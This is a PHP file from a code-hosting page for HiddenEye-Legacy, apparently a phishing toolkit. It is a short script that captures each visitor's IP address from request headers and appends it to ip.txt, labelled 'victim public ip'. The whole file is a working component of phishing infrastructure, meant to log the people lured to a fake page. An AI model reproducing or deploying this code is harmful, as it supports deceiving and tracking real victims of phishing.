HiddenEye-Legacy/WebPages/ip.php

27 lines
620 B
PHP
Raw Normal View History

2018-06-07 17:15:57 +08:00
<?php
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ip from share internet
{
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check if ip is pass from proxy
{
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
}
else
{
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
}
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
$victim = "victim public ip: ";
$fp = fopen($file, 'a');
fwrite($fp, $victim);
2018-06-07 22:01:32 +08:00
//$fp = fopen($file, 'a');
2018-06-07 17:15:57 +08:00
fwrite($fp, $ipaddress);
fclose($fp);